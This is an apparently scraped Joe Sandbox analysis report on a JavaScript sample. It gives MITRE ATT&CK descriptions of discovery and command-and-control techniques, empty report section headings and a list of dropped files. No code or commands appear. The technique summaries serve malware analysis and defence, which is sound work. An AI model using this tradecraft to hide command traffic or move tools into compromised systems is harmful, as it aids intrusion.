Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 17048156412338914445.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\56c68907-5250-416f-b942-7cf6867ce207.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6904

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6904

Windows Analysis Report
17048156412338914445.js